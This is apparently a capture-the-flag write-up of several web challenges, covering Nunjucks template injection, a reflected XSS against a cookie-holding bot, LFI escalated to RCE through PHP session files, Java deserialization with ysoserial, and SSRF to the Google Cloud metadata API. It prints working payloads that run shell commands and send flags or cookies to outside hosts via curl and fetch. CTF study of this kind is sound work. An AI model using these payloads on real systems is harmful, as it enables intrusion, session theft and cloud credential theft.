user: 'cbctf.2021.web.newjucks@gmail.com',
pass: '[REDACTED]',
},
logger: true
});
transporter.sendMail(message);
transporter.close();
resolve({ response: 'The email has been sent' });
} else {
let gifSrc = '//i.pinimg.com/originals/bf/17/70/bf1770f704af814c3da78b0866b286c2.gif';
message.html = nunjucks.renderString(`
<p><b>Hello</b> <i>${ emailAddress }</i></p>
<p>A cat has been deployed to process your submission 🐈</p><br/>
<img width="540" height="304" src="{{ gifSrc }}"/></p>
`, { gifSrc }
);
let testAccount = await nodemailer.createTestAccount();
let transporter = nodemailer.createTransport({
host: 'smtp.ethereal.email',
port: 587,
auth: {
user: testAccount.user,
pass: testAccount.pass,
},
logger: true
});
let info = await transporter.sendMail(message);
transporter.close();
resolve({ response: `<iframe
style='height:calc(100vh - 4px); width:100%; box-sizing: border-box;' scrolling='no' frameborder=0
src='${nodemailer.getTestMessageUrl(info)}'
>`});
}
} catch(e) {
reject({ response: 'Something went wrong' });
}
})
}
|
It is passing our input to renderString
which seems to be vulnerable to STTI, in this article they explain how to exploit it. As always edited it so it matches this particular scenario, here is the payload:
1
|
{{range.constructor("return global.process.mainModule.require('child_process').execSync(`echo yourbase64 | base64 -d | bash`)")()}}
|
After talking with the creator of the challenge this was unintended, the app was suposed to be email format compliant. This would make the payload harder, neither "
or
would be allowed, also by default /bin/sh
doesn’t support brace expansions so bash must be enforced. The expected payload would be:
1
|
whatever+{{range.constructor('return(process.mainModule.require(`child_process`).execSync(`{curl,--data,$(/readflag|base64),133.33.33.77}`,{shell:`/bin/bash`}).toString())')()}}@foo.com
|

Bug Report

This is a light version of the other XSS challenges, here are all the routes:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
from flask import Flask, request, render_template
from urllib.parse import unquote
from bot import visit_report
app = Flask(__name__)
@app.route("/")
def index():
return render_template("index.html")
@app.route("/api/submit", methods=["POST"])
def submit():
try:
url = request.json.get("url")
assert(url.startswith('http://') or url.startswith('https://'))
visit_report(url)
return {"success": 1, "message": "Thank you for your valuable submition!"}
except:
return {"failure": 1, "message": "Something went wrong."}
@app.errorhandler(404)
def page_not_found(error):
return "<h1>URL %s not found</h1><br/>" % unquote(request.url), 404
app.run(host="0.0.0.0", port=1337)
|
You can easily tell by the source code that the 404 error page is vulnerable to XSS, here is the implementation of the bot:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
|
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.support.ui import WebDriverWait
def visit_report(url):
options = Options()
options.add_argument('headless')
options.add_argument('no-sandbox')
options.add_argument('disable-dev-shm-usage')
options.add_argument('disable-infobars')
options.add_argument('disable-background-networking')
options.add_argument('disable-default-apps')
options.add_argument('disable-extensions')
options.add_argument('disable-gpu')
options.add_argument('disable-sync')
options.add_argument('disable-translate')
options.add_argument('hide-scrollbars')
options.add_argument('metrics-recording-only')
options.add_argument('mute-audio')
options.add_argument('no-first-run')
options.add_argument('dns-prefetch-disable')
options.add_argument('safebrowsing-disable-auto-update')
options.add_argument('media-cache-size=1')
options.add_argument('disk-cache-size=1')
options.add_argument('user-agent=BugHTB/1.0')
browser = webdriver.Chrome('chromedriver', options=options, service_args=['--verbose', '--log-path=/tmp/chromedriver.log'])
browser.get('http://127.0.0.1:1337/')
browser.add_cookie({
'name': 'flag',
'value': 'CHTB{f4k3_fl4g_f0r_t3st1ng}'
})
try:
browser.get(url)
WebDriverWait(browser, 5).until(lambda r: r.execute_script('return document.readyState') == 'complete')
except:
pass
finally:
browser.quit()
|
Similarly just send the bot the xss payload and wait for the flag. Here is the vulnerable endpoint:
http://138.68.182.108:31901/%3Cscript%3Efetch(%60http://NGROK:9999/?${document.cookie}`)%3C/script%3E

The day after
Due to lack of time couldn’t solve some of the challenges, even though I knew the attack vectors, here is a writeup of the next day after the CTF ended.
Extortion

The challenge has 2 endpoints, here is the index:

It seems vulnerable to LFI through f
parameter:

Then there is also another endpoint that sets the cookie:
When I saw it thought that may be a rabbit hole.
At this stage couldn’t find the flag file, so thought of scalate lfi to rce.
Firstly tried log poisoning, but couldn’t find any log file, here is a list I tried:
/var/log/httpd/access_log
/var/log/httpd-access.log
/var/log/apache2/access.log
Secondly tried with /proc/*/fd/*
and /proc/self/environ
,unfortunately couldn’t access them either.
Finally tried with phpsessid, within the following directories:
/var/lib/php/sess_
/var/lib/php/sessions/sess_
/tmp/sess_
/tmp/sessions/sess_
Luckily for us it worked, we can see that the cookie content get’s included:

Now we can change the cookie value to execute code:

Here is the flag:

Millenium

The main page is just a login form:

Tried SQL Injection and NoSQL Injection, none of those worked. Then thought of oracle padding attack, asked a teammate and he easily realised that the credentials were “admin:admin”.
Once you log in, there is a small form:

When inspecting what data is sending, you can see that is base64:

It looks suspicious so decided to decode and see what is inside, it may be some kind of serialization:

Found this post to exploit deserialization, so let’s try it out:
However wasn’t able to exploit this on time, here is the payload to get the flag:
payload=$(java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections2 'bash -c curl${IFS}NGROK:9999/`cat${IFS}/root/flag.txt|base64`' | base64 -w0)
python3 -c "import urllib.parse;print(urllib.parse.quote('$payload'))"
gcloud pwn

As always let’s check what routes the web has:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
from flask import Blueprint, request, render_template, abort
from application.util import gen_pdf
web = Blueprint('web', __name__)
api = Blueprint('api', __name__)
@web.route('/')
def index():
return render_template('index.html')
@api.route('/cache', methods=['POST'])
def cache():
if not request.is_json or 'url' not in request.json:
return abort(400)
return gen_pdf(request.json['url'])
|
So basically its a pdf generator, let’s see how it’s implemented:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
|
import os, subprocess
from urllib.parse import urlparse
generate = lambda x: os.urandom(x).hex()
def flash(message, level, **kwargs):
return { 'message':message, 'level':level, **kwargs }
def gen_pdf_from(url):
filename = f'{ generate(14) }.pdf'
try:
subprocess.run(
[
'/usr/bin/chromium-browser',
'--headless',
'--disable-web-security',
'--disk-cache-dir=/dev/null',
'--disk-cache-size=1',
'--media-cache-size=1',
'--no-startup-window',
'--disable-gpu',
'--disable-software-rasterizer',
'--disable-dev-shm-usage',
'--hide-scrollbars',
'--user-data-dir=/tmp/chrome_data',
'--print-to-pdf-no-header',
f'--print-to-pdf=/app/application/static/pdfs/{ filename }',
url
])
except:
return False
return filename
def is_scheme_allowed(scheme):
return scheme in ['http', 'https']
def gen_pdf(url):
domain = urlparse(url).hostname
scheme = urlparse(url).scheme
if not domain or not scheme or not is_scheme_allowed(scheme):
return flash(f'Malformed url {url}', 'danger')
pdf = gen_pdf_from(url)
if not pdf:
return flash('Something went wrong!', 'error')
return flash(f'Successfully cached {domain}', 'success', domain=domain, filename=pdf)
|
It seems just like a regular pdf generator, this kind of features can be vulnerable to server side xss (keep in mind that even it’s a client side attack, here the client is the server).
Here it is how the web looks like:

Aditionally we know that this is working in google cloud, so we may want to interact with an internal api in order to escalate privileges or find sensitive data. Since I didn’t know much about the topic, searched for info in google and found this post that talks a little bit about that, which introduces the internal api. However it was responding 404, until I found this article that suggests using the api version v1beta1
instead of just v1
in order to bypass that. With that I was able to get default token from http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
.

After that I thought myself, well I got this token may I use it to authenticate myself, so spent some time trying to do so without success. So it seemed that I needed to find more data in order to get further, making a research found a writeup about a similar CTF challenge on github, so we need to get the following data from the instance:
Tried to get that info from the internal api using the bypass from before by changing the version, however didn’t work. In the end hosted a php app that makes such requests through dns and I print the output with the PDF Generator feature, here are the outputs decoded:

Moving forward we can list the instance details, more specifically, the fingerprint for the ssh keys:

Once we got the SSH fingerprint we can just add our public ssh key to log in as root in the instance:

Finally we can log in and just get the flag

Acknowledgments
First of all thank you thanks to HTB for organizing such event,also thanks to makelaris for creating all web challs, great job there without any doubt.
Finally I’m grateful to my team Flaggermeister and Matias.